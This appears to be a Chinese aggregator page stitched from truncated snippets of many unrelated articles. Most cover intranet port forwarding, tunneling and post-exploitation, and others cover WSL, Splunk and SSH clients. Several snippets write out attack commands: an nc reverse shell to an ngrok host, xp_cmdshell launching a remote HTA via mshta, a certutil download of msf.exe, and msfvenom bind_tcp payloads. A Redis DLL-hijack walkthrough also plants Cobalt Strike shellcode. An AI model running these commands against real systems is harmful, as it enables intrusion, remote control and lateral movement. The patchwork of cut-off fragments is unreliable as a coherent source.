在渗透测试中,当我们获得了外网服务器(如web服务器,ftp服务器,mali服务器等等)的一定权限后发现这台服务器可以直接或者间接的访问内网。此时渗透测试进入后渗透阶段,一般情况下,内网中的其他机器是不允许外网机器访问的。这时候,我们可以通过 端口转发(隧道) 或将这台外网服务器设置成为 代理,使得我们自己的攻击机可以直接访问与操作内网中的其他机器。实现这一过程的手段就叫做内网转发。
windows自带的端口转发netsh interface portproxy(window端口转发到虚拟机内部服务器)自用 实践笔记 1.直接查看我配置的Windows转发详情 2.添加如下,相信你看懂了,是不是很方便 3.注意事项 1.需求,访问windows,转发到后端服务器集群(隐藏起来),这台暴露的windows机子也可以叫前置机。 2.虚拟机内部的服务器和别人不在同一个网段,这种情况也需要windows转发到虚拟机。 我这边有三台虚拟机,转发详情如下表 监听地址 windows端口 虚
渗透测试平台类: Metasploit,这个大家都不陌生了,集信息收集,预渗透,渗透,后渗透,木马,社会工程学于一体的平台,居家旅行,杀人越货之必备。SET(Social-engineer-toolkit) 主要用来做社工平台,邮件伪造,dns劫持,以及office钓鱼。 Cobaltstrike,目前来说最好用的针对windows的渗透平台,也是目前最牛逼的APT协同工作平台。扩展性很强,兼容各种平台,独立的框架,不依赖于其他框架,提供了丰富的第三方接口,可以进行内网渗透,社工钓鱼,木马远控以
大部分公司内部测试服务器是放在公司内网,一般来说,由于NAT的原因,这种访问是单向的。例如,我们借助电脑,手机登设备,可以访问百度的服务器,但是百度服务器是没法主动访问我们终端。由于只能通过公司内网访问,员工回家之后就无法访问了,安全是安全了,但是万一有个需求需要从公司外部访问呢?
端口转发,这个功能在平时的开发中用到的还是比较多的,记录下 Windows 如何使用自带的软件实现端口转发。
在 powerShell 下使用 Netsh 命令添加端口转发,将 Windows 端口映射到 WSL 2 VM 的 IP 地址。
各位老司机在日常的渗透过程中,都会有自己趁手的工具集合,有开源的有私有的,不管什么样的工具组合,能够达到最佳的渗透效果就是好工具,老司机分享一点自己在内网渗透中惯用的开源工具和平台。
Splunk支持多种多样的数据源,比如它可以直接上传文件,可以监控本地的任何目录或文件,也可以配置通用转发器等方式来完成数据接入。Splunk所有的设置都可以通过Web页面、使用Splunk CLI命令,甚至是直接修改配置文件,以此来完成设置。
在网络攻防博弈中,网络流量特征分析类安全防御措施得到了广泛应用。众多厂商和企业对网络流量进行恶意流量分析检测,从而针对性的采取防御措施,如各级ISP在骨干网络设备上大多采用网络流量分析检测的防御方案。
端口转发是点对点的方式,代理是点对面的方式,如果我们只需要访问主机的特定的端口,使用端口转发就够了,但通常在渗透进内网之后,我们还需要对整个内网进行横向渗透,这时代理必然是一个高校的方法。代理分为正向代理和反向代理,正向代理常适用于外网可以直接访问到web服务器的情况下,反向代理适用于服务器可以出网,但是外部无法直接访问服务器的情况,针对大型企业,现在几乎都是CDN,负载均衡等设备,所以个人认为现在反向代理更常见于渗透攻击中。
NxShell是一款开源的Linux远程管理工具,是我日常远程Linux服务器必备的工具,界面比较好看、可以直接SFTP。针对软件的功能目前作者还在持续更新当中,还是相当好用的一款Linux远程管理工具。
左侧"条件转发器" → 新建条件转发器 → 单击此处添加IP地址或DNS名称 → 添加云平台内网DNS(不要管结果)
系统日志记录操作系统组件产生的事件,主要包括驱动程序、系统组件和应用软件的崩溃以及数据丢失错误等。系统日志中记录的时间类型由Windows NT/2000操作系统预先定义。 默认位置: %SystemRoot%\System32\Winevt\Logs\System.evtx
Microsoft最近公开发布了Service Bus 1.0,该Service Bus可以免费地使用于具有适当license的Windows服务器上,这使得Windows服务器也具有了像Windows Azure消息服务这样的功能。 Service Bus for Windows使得用户可在任何Windows 2008 R2及更高版本服务器上提供和操作服务总线主题(Service Bus Topics )和服务总线队列(Service Bus Queues )。整套解决方案可在单台Windows机器上运行
在 SIEM (安全应急事件管理) 搭建中,日志是及其重要的一环。对于黑客掌上的明珠——域控, 它的日志监控是非常重要的,本文将介绍如何通过 WEF(Windows Event Forwarding) 将windows 主机日志汇总到一台中心节点,并输入到ElasticSearch ,最后通过Kibana 的展示。
大牛直播SDK(Github)多路RTMP/RTSP转RTMP转发软件,系原有转发SDK基础上,官方推出的Windows平台定制版。在秉承低延迟、灵活稳定、低资源占用的前提下,客户无需关注开发细节,只需图形化配置转发等各类参数,实现产品快速上线目的。
上一节中,我们讲解了网络层的隧道技术(IPv6 隧道、ICMP 隧道)和传输层的隧道技术(TCP 隧道、UDP 隧道、常规端口转发)。现如今,TCP、UDP 通信大量被防御系统拦截,传统的Socket隧道也已经濒临淘汰,DNS、ICMP、HTTP/HTTPS 等难以被禁用的协议已经成为了攻击者控制隧道的主要渠道。在这一节中,我们将对应用层的隧道 SOCKS 代理技术进行实验性的讲解,由于小编能力太菜,很多东东也是现学现卖,应用层的DNS隧道我会在未来专门写一个专题进行讲解。
在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。
lhost :公网ip lport :公网端口 ps:端口除去公共端口都行(22 80等…… ),这里就设置为8181
#网络通讯-MSF&CS-路由添加&节点建立 #控制上线-MSF&CS-协议生成&正反连接 代理协议: SOCKS4/5 代理软件: SocksCap Proxifier ProxyChains等 靶场环境搭建描述:
该操作在vm虚拟机中完成,提前安装了Windows7、kali linux、Windows server2008。
假设一个场景:在Webshell中执行mimikatz获取到win管理员密码,并且本地查看端口3389是开放的,可是从当前跳板机无法远程到目标机器。因为某个特定需求,一定要远程登录到这台win服务器,这时该怎么办?
举例: 例如,假设有一个应用程序叫做"example.exe",它依赖于名为"example.dll"的动态链接库。而"example.exe"在加载"example.dll"时没有使用绝对路径,而是仅仅指定了DLL的名称。攻击者可以将恶意的"example.dll"文件放置在与"example.exe"相同的目录下,当"example.exe"启动时,系统会先在当前目录中查找"example.dll"文件,如果找到,就会加载该文件并执行其中的恶意代码。 DLL劫持可以函数转发劫持也可以往完整DLL插入恶意代码,这里用的函数转发劫持,大致流程如下图所示: https://kiwings.github.io/2019/04/04/th-DLL%E5%8A%AB%E6%8C%81/ 2.2 劫持dbghelp.dll redis-server.exe在执行bgsave时,会先在应用目录查找dbghelp.dll,找不到再去system32目录下找: 而不管redis的权限是Administrator还是普通用户或者Network Service,它对自己的应用目录一定有写文件的权限,我们可以通过Redis的主从复制在应用目录里写入恶意DLL。 2.3 函数转发劫持 对DLL进行函数转发劫持需要导出原本DLL的函数和地址,以保证程序通过恶意DLL调用这些函数时不影响正常功能,DLL的导出函数一般比较多,用Aheadlib之类的工具可以自动化处理。 我这里用的是DLLHijacker,它会自动处理导出表并生成一个VS2019的项目,但这个python脚本有几个bug: https://github.com/kiwings/DLLHijacker (1) VS项目中文乱码: 修复:几个写文件的地方添加 encoding="utf-8"。 (2) 函数导出表有匿名函数的时候,会导致以下报错 [-]Error occur: 'NoneType' object has no attribute 'decode 修复:在几个for循环里添加函数名是否为空的判断可以解决这个问题。 (3) 生成C/C++代码时,没有使用目标DLL的绝对路径,只是用了DLL的名字填充LoadLibrary(),这是一个很严重的bug,会导致函数转发失败、Redis的功能受到影响从而只能劫持一次: 修复:我改成了根据输入的目标DLL路径自动填充。 如果没有使用原DLL的绝对路径,在Process Monitor可以看到,只会调用应用程序目录里的恶意DLL,并没有调用原本的system32下的dbghelp.dll: 从而redis的功能受到影响,导致redis的bgsave只能触发一次DLL调用,第二次bgsave的进程会被阻塞从而无法调用DLL,并且Redis关闭后将无法启动: 这也是网上部分师傅的文章写”不会影响redis运行 但会无法重启“的原因,因为他们也是用的DLLHijacker,并且没有发现有这个坑,这不仅会影响业务,而且只能劫持一次: 正常的DLL劫持不会影响程序的功能,可以劫持很多次,假如我第一次劫持想上线CS但是没有成功,那对面可能不出网,那我可能会再劫持打一个MSF的反向shell,都没成功我也可以继续尝试MSF盲打命令: 正常的DLL转发劫持如下,调用完应用程序目录里的恶意DLL后会调用原DLL: 0x03 漏洞利用 3.1 工具使用 工具下载地址: https://github.com/P4r4d1se/dll_hijack 如是是Windows 64位的Redis DLL劫持的话,可以直接用里面的VS2022版的dbghelp项目。 其他要用我修改后的DllHijacker.py和目标DLL路径生成VS项目: python3 DLLHijacker.py C:\Windows\System32\dbghelp.dll 下载安装VS2022,只用勾C++桌面开发: https://visualstudio.microsoft.com/zh-hans/downloads 打开生成目录里的sln文件,因为原本是VS2019的项目所以会提醒你升级,选确定,不然得另外安装v142的编译组件才能编译VS2019的项目: 打开后在源文件的dllmain.app,修改里面的shellocde就行,其他不用改: 3.2 出网——Cobalt Strike 如果Redis主机直接出网,或者能通其他已经上线CS的出网主机,那直接上CS是最好的选择,CS生成C语言的payload: 源文件的dllmain.app里把payload替换进去,然后选Release x64,生成——生成解决方案: 然后主从复制将dbghelp.dll写过去并bg
利用代理工具将内网的流量代理到本地进行访问,这样就可以对内网进行下一步渗透,同时也可以利用代理工具将其他网段的流量转发到本地进行纵向渗透。代理的本质是Socks协议(防火墙安全会话转换协议),工作在OSI参考模型的第5层(会话层)。使用TCP协议传输数据,因而不提供如传递ICMP信息之类的网络层相关服务。目前支持SOCKS4和SOCKS5两个版本:
2020年12月,SolarWinds 攻击事件引发全球的关注(https://us-cert.cisa.gov/ncas/alerts/aa20-352a),攻击团队在 2020年上旬通过对 SolarWinds Orion 产品实现供应链攻击,导致诸多厂商被攻击,造成了不可估量的损失。这种国家间的 APT 攻击包含了大量的技术细节,其中供应链攻击的实现,也就是 SUNBURST 后门植入这一块引起了我极大的兴趣。
施行Linux体制的帝国,后起之秀,曾和Windows帝国军团爆发多次战争,后握手言和,割据一方。
socat我们在前面也已经介绍过了,之前说的是Windows下的利用,如果没有看到的朋友请移步【socat在Windows下的使用】,socat本身就是在Linux下使用的,非要将它放到Windows下使用难免会有水土不服嘛,这次就回到Linux上来进行socat的使用。
iodine是基于C语言开发的,分为服务端和客户端。iodine支持转发模式和中继模式。其原理是:通过TAP虚拟网卡,在服务端建立一个局域网;在客户端,通过TAP建立一个虚拟网卡;两者通过DNS隧道连接,处于同一个局域网(可以通过ping命令通信)。在客户端和服务器之间建立连接后,客户机上会多出一块名为dns0的虚拟网卡。
一,在linux机上安装xorg-x11-xauth 如果没装,启动GUI程序会提示Canno open display。 方法: yum install xorg-x11-xauth 二、打开linux服务器的sshd的X11转发功能: vi /etc/ssh/sshd_config 配置: X11Forwarding yes 三、在Windows客户端上安装X11 Server程序 Xming是运行于Windows下的X 服务器,下载Xming:http://sourceforge.net/pro
arpspoof是一个好用的ARP欺骗工具,Kali linux中自带了该工具,在ubuntu中,安装它只需运行命令:
Lcx是一个端口转发工具,有windows版和linux两个版本(linux版本名为protmap)
一些朋友搞不清楚 Windows Executable 和 Windows Executable (s) 的区别。据官方文档说,Windows Executable 是生成一个 stager,但是 Windows Executable (s) 是 stageless 的,相当于直接生成一个 stage。这个涉及一个分阶段传送 payload 的概念,不做过多解释。我认为选 Windows Executable (s) 比较好,因为 payload stager 因其体积原因,没有一些内建的安全特性。所以能不分阶段就不分阶段。
大家都知道,主机日志格式过于杂乱对于日后的分析造成了不小的困扰,而splunk的轻便型、便携性、易安装性造就了其是一个日志分析的好帮手。
本文介绍了非网站类业务用户如何将业务接入 BGP 高防 IP 实例并验证转发配置。
事情起因 发现自己的win11已经安装了一个wsl,就想折腾一下.. 但是明明zfile有win版的,为啥还要多此一举呢? 害, 就是瞎折腾呗.... 安装软件 应用商店搜索WSL选择安装的系统 安装
NPS是一款好用的内网穿透工具,不过相比于FRP还是稍微比较麻烦一点,原因在于NPS的服务端需要安装。
1.ssh -CfNg -L 11001:10.10.10.128:3389 XXX@10.10.10.133
Windows的端口转发,我们可以 点击这里 直达。但是我们今天的需求是用我们的linux转发来加速我们在美国的windows。所以我们设定的案例如下
winlogbeat 优点就是轻量级,因为去掉了笨重的logstash, 占用资源更少。
什么情况下需要端口转发: Web服务器在内网中,远程桌面无法连接,因此需要进行端口转发。 内网IP的80端口通过端口映射到外网IP的80端口上, 内网的WEB服务器通过外网IP反向代理,这个情况下需要进行端口转发 服务器处于外网,可以访问外部网络,但是服务器安装了防火墙来拒绝敏感端口的连接。 如何判断: ping该域名,是外网IP,但是通过WebShell执行命令查看IP又是内网的一个IP。 工具: lcx.exe:
最近快期末周了,开始陆陆续续开始复习(预习)这学期的课,于是有了一个需求,我希望在床上用手机可以看我linux电脑上kvm虚拟机里面的网课。
需要实名人脸验证 收费 官网注册按照使用手册就可以实现内网穿透,认证需要手续费,提供免费隧道但是速度慢 https://www.ngrok.cc/ 支持的协议:tcp、http、https 支持的类型:正向代理、反向代理
相信大家在渗透测试时如果遇到内网IP瞬间心情就不好了,因为自己是内网,目标也是内网,怎么勾搭上?而且像我这等穷人又没钱买死贵死贵的vps搭建云Kali,怎么办?这时候就要借助内网穿透工具了,网上很多工具都能实现,这里推荐Ngrok。但是我既想通过Ngrok在metaspolit下反弹shell,同时又想把对方的3389端口转发到本地,在meterperter下鱼和熊掌我都要!
Ngrok Ngrok一个反向代理,通过在公共的端点和本地端口建立一个安全的通道,其功能可以反向代理出web服务还有端口转发,这里我们主要演示端口转发的功能 由于ngrok这个工具官网是要访问外国网站的,所以是能使用国内的Sunny-Ngrok 反弹nc shell 首先我们启动ngrok ./sunny clientid 隧道id 本地监听端口: nc -vv -lp 9991 目标机器: nc -vv server.ngrok.cc 33388 -e cm
对于开发人员来说,我们经常需要远程登录服务器进行一些操作,可能是配置服务器,可能是进行一些代码修改和编写,而要进行这些操作,我们都需要一个好用的ssh客户端工具,今天我们就来盘点一下那些好用的ssh客户端工具。
EXEC master..xp_cmdshell 'mshta http://192.168.186.3:8080/yGwnzfy4cc.hta' 注意事项: 添加虚拟路由后配置hta_server模块选项时SRVHOST如果还用默认的0.0.0.0则生成URL的IP地址还是VPS的,所以在不出网主机上无法访问和执行,最终导致无法上线。 思路拓展: bind_tcp/reverse_tcp/reverse_tcp_rc4与hta_server的利用方式差不多,都要用到MSF虚拟路由,只是要重新生成/上传载荷文件。这种方式在某些不出网场景下“文件落地”可能是个麻烦事,不过在我们模拟的这个场景下可以利用这台可以出网的Web服务器来进行文件落地。 EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.186.3/msf.exe C:\ProgramData\msf.exe' 0x04 Socks代理 + Proxychains 我们先用autoroute模块自动添加虚拟路由,再用MSF中的Socks模块开一个Socks代理,设置选项可以不做修改,直接默认执行即可。MSF6已将socks4/5都集成到socks_proxy模块中了。 run post/multi/manage/autoroute bg use auxiliary/server/socks4a exploit Socks4代理开好后找到/etc/proxychains.conf配置文件,在底部填入127.0.0.1和1080端口,然后再用proxychains代理工具执行curl或nc验证下看是否已经代理成功? proxychains curl http://192.168.186.4 proxychains nc -zv 192.168.186.4 1433 确定Socks代理没问题后再使用msfvenom生成一个bind_tcp载荷文件,通过中国菜刀将该文件上传至192.168.186.3的Web服务器中供192.168.186.4断网数据库服务器下载。 msfvenom -p windows/x64/meterpreter/bind_tcp lport=443 -f exe > /var/www/html/bind.exe 另起一个命令终端用proxychains代理工具来启动msfconsole,配置好handler监听模块bind_tcp相关选项执行监听,在中国菜刀中利用xp_cmdshell组件执行bind.exe文件后即可上线。 流量走向:
做为程序员的我们,经常与服务器打交道,不可避免的要通过SSH去登录服务器进行一系列的操作,比如:登录服务器部署应用、调试API、检查代码运行情况等。
领取专属 10元无门槛券
手把手带您无忧上云